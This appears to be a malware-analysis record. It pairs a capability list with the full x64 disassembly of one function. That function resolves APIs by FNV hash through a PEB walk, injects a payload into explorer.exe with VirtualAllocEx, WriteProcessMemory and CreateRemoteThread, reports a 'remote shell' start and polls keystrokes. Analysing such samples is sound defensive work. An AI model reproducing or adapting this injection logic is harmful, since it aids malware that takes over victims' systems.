Function at 0x140001000
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Get process filename
Hash data using fnv
Inject thread
Log keystrokes via polling
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r12d, r12d
xor r15b, r15b
mov dword [rsp + 0x4c], r12d
mov rax, qword gs:[0x60]
mov rdi, qword [0x140006468]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
test rdi, rdi
jne 0x1400010f5
movsxd rax, dword [r11 + 0x3c]
mov r10d, r12d
mov rdi, qword [rax + r11 + 0x88]
mov edi, edi
mov esi, dword [rdi + r11 + 0x20]
nop word [rax + rax]
mov ebx, r10d
mov r9d, 0x574bb7f3
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
movzx eax, byte [r8]
inc r8
test al, al
je 0x1400010cf
nop
movsx ecx, al
lea r8, [r8 + 1]
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
movzx eax, byte [r8 - 1]
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
test al, al
jne 0x1400010a0
cmp r9d, 0xb40ee720
je 0x1400010d4
inc r10d
jmp 0x140001080
mov eax, dword [rdi + r11 + 0x24]
mov ecx, dword [rdi + r11 + 0x1c]
add rax, r11
add rcx, r11
movzx eax, word [rax + rbx*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [0x140006468], rdi
mov rax, qword gs:[0x60]
mov rbp, qword [0x140006470]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
test rbp, rbp
jne 0x1400011b7
movsxd rax, dword [r11 + 0x3c]
mov r10d, r12d
mov rsi, qword [rax + r11 + 0x88]
mov esi, esi
mov r14d, dword [rsi + r11 + 0x20]
mov ebx, r10d
mov r9d, 0xe6444a4b
lea rax, [r14 + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140001191
nop dword [rax]
nop word [rax + rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140001160
cmp r9d, 0x6ead99f
je 0x140001196
inc r10d
jmp 0x140001133
mov eax, dword [rsi + r11 + 0x24]
mov ecx, dword [rsi + r11 + 0x1c]
add rax, r11
add rcx, r11
movzx eax, word [rax + rbx*2]
mov ebp, dword [rcx + rax*4]
add rbp, r11
mov qword [0x140006470], rbp
xor r8d, r8d
mov dword [rsp + 0x48], r12d
lea r9, [rsp + 0x48]
mov esi, r12d
lea rdx, [rsp + 0x48]
mov rbx, r12
lea ecx, [r8 + 5]
call rdi
cmp eax, 0xc0000004
jne 0x14000122a
nop dword [rax]
test rbx, rbx
je 0x1400011f6
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x48]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov rdx, rax
mov ecx, 5
mov rbx, rax
call rdi
cmp eax, 0xc0000004
je 0x1400011e0
test eax, eax
jns 0x14000124d
test rbx, rbx
je 0x1400013c1
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400013c1
mov r11, rbx
cmp dword [rbx], r12d
je 0x1400012e2
nop dword [rax]
mov rdx, qword [r11 + 0x40]
lea r10, str.explorer.exe
test rdx, rdx
je 0x1400012cd
movzx r8d, word [rdx]
movzx r9d, word [r10]
lea edi, [r8 - 0x41]
cmp edi, 0x19
lea ecx, [r8 + 0x20]
lea esi, [r9 - 0x41]
cmova ecx, r8d
lea eax, [r9 + 0x20]
cmp esi, 0x19
cmova eax, r9d
cmp ecx, eax
jne 0x1400012b6
test r8w, r8w
je 0x1400012b0
test r9w, r9w
je 0x1400012b6
add rdx, 2
add r10, 2
jmp 0x140001270
test r9w, r9w
je 0x1400012de
cmp edi, 0x19
ja 0x1400012bf
add r8d, 0x20
cmp esi, 0x19
ja 0x1400012c8
add r9d, 0x20
cmp r8d, r9d
je 0x1400012de
mov eax, dword [r11]
add r11, rax
cmp dword [r11], r12d
je 0x140001237
jmp 0x140001260
mov esi, dword [r11 + 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x1400013c1
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400013c1
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1985
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400013bc
lea rdx, [rsp + 0x4c]
mov dword [0x140006478], 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x4c], r12d
jne 0x1400013bc
mov r9d, 0xe37
mov qword [rsp + 0x20], r12
lea r8, [0x140005040]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400013bc
mov rax, qword gs:[0x30]
mov r9, rdi
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], r12d
mov r8d, 0x1000
mov rcx, rbx
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400013bc
mov rcx, rax
mov r15b, 1
call rbp
mov rcx, rbx
call rbp
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Is_start_success_remote_shell____t
call fcn.140001490
mov rcx, rax
movzx edx, r15b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
call fcn.140001660
nop dword [rax]
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400013f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Test__n
call fcn.140001490
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013f0